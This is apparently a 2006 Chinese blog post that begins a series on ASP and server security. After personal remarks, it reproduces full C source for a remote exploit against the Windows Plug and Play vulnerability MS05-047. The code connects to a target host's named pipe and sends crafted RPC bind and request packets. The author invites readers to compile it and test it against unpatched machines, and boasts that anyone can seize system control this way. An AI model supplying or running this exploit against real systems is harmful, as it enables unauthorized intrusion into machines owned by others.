asp與網站安全的初步構想（1）——作業系統安全

今天是2006年3月8日，現祝福所有的女性朋友節日快樂。

早上起床，收到朋友的簡訊，幫助她確定一下畢業設計的題目。

她是搞計算機的，但是現在的中國教育就是如此，教你很高深的理論知識，但是實際的動手的東西就比較少了，雖然她的成績很好，但是真正設計到畢業設計的實際動手的時候，他自己也開始擔心了。而且以前他就給我說過這件事情。君子一言，駟馬難追啊！更何況是朋友呢！

現看看了看，他傳送過來的課題，看來看去還是覺得軟體開發之類的實際動手能力比較適合我自己，而且選擇這些東西對她自己也是一次鍛鍊、挑戰。要不然以後想學習還學不到了。

挑過來，選過去。還是選擇了安全相關的問題。不為別的，我開始就是一直注重安全的問題的，自己對這個東西很早就想寫東西了，只是自己太懶了，而且也一直沒有時間寫，這次剛好好好的總結學習一下。

今天開始第一課——IIS安全

asp安全，怎麼說了？

安全這個東西不是一兩句話就能說明白的，而且設計的面也不是一兩個人能完成的。因為安全問題是一個整體的問題。

我考慮安全問題的第一個反應就是伺服器安全。光這個方面就好多東西可以寫。任何一個安裝到系統上的軟體都可能影響到伺服器的安全，包括系統。

比如：大家所熟悉的windows 2K系統，相信不用說，大家應該知道MS每個月的安全警報吧，好像從2K出世以來就沒有被拉下過。解決這個問題的唯一辦法就是經常打上系統地sp，勤動手，總是有好處的。

在這裡可能又有人說了，我不用win 2K ，我用XP，而且還是sp2的。嘿嘿，不用擔心，這個東西出來的時候就開始說非常的堅固了，但是天下沒有完美的東西。過不了幾天也出現了Exception。嘿嘿，這個就是我今天想說的。

今天再翻動我以前的exploit的時候發現了這個好東西，方便大家測試一下。

Windows Plus and Play Remote Code Exception (MS05-047)

漏洞資料：http://www.microsoft.com/china/technet/security/bulletin/MS05-047.mspx
危險程度：非常嚴重
影響範圍：
Microsoft Windows 2000 Service Pack 4
Microsoft Windows XP Service Pack 1
Microsoft Windows XP Service Pack 2
解決辦法：官方已經發布補丁
相關介紹：即插即用中的漏洞可能允許遠端執行程式碼和特權提升 

——————————————————————————

#include <stdio.h>
#include <windows.h>

#pragma comment(lib, “mpr”)
#pragma comment(lib, “Rpcrt4”)

unsigned char szBindString[] =
{
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0xb8,0x10,0xb8,0x10,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
0x40,0x4e,0x9f,0x8d,0x3d,0xa0,0xce,0x11,0x8f,0x69,0x08,0x00,0x3e,0x30,0x05,0x1b,
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0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};

unsigned char szRequestString[] =
{
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};

int main(int argc, char* argv[])
{
char szServerName[MAX_PATH];
char szPipe[MAX_PATH];
HANDLE hFile;
NETRESOURCE nr;

if (argc < 2){
printf(“[-] Usage: %s <host>/n”, argv[0]);
return -1;
}

if ( strlen(argv[1]) > (MAX_PATH – 50) ) {
printf(“[-] Host name %s is too long !/n”);
return -1;
}

printf(“[+] Start connect host %s … /n”, argv[1]);
wsprintf( szServerName, “////%s//pipe“, argv[1] );
nr.dwType = RESOURCETYPE_ANY;
nr.lpLocalName = NULL;
nr.lpRemoteName = szServerName;
nr.lpProvider = NULL;
if ( WNetAddConnection2(&nr, “”, “”, 0) != NO_ERROR ) {
printf(“[-] Connect to host %s failed !/n”, argv[1]);
return -1;
}

_snprintf(szPipe, sizeof(szPipe), “////%s//pipe//browser“, argv[1]);
hFile = CreateFile(szPipe, GENERIC_READ|GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL);

if ( hFile == INVALID_HANDLE_VALUE ) {
printf(“[-] Open name pipe %s failed !/n”, szPipe);
return -1;
}

unsigned char szOutBuffer[0X1000];
unsigned long nBytesRead;

printf(“[+] Start bind RPC interface … /n”);
// bind rpc interface {8D9F4E40-A03D-11CE-8F69-08003E30051B}
if ( ! TransactNamedPipe(hFile, szBindString, sizeof(szBindString),
szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
printf(“[-] TransactNamedPipe (Binding) failed !/n”);
CloseHandle(hFile);
return -1;
}

// send rpc request to call PNP_GetDeviceList (opnum 10)
printf(“[+] Start send RPC request … /n”);
if ( ! TransactNamedPipe(hFile, szRequestString, sizeof(szRequestString),
szOutBuffer, sizeof(szOutBuffer), &nBytesRead, NULL) ) {
printf(“[-] TransactNamedPipe (Binding) failed !/n”);
CloseHandle(hFile);
return -1;
}
printf(“[+] Attack host %s complete !/n”, argv[1]);
return 0;
}

上面的程式碼你再vc++下編譯一下，如果你沒有打系統的補丁的話，恭喜你，你可以看到好結果了。

通過類似於上面的Exception的程式碼就可以得到伺服器的許可權，想修改你的問題簡直是易如反掌啊。

這個就是今天演示的程式程式碼（行內稱之為：Exploit），通過這些程式碼，任何一個會使用計算機的人都可以得到系統的控制權。哈哈，這樣，你的祕密就成了天下皆知的祕密了。

ok，今天的課程現到這裡，寢室熄燈了，室友都睡著了，我也的休息了，明天繼續。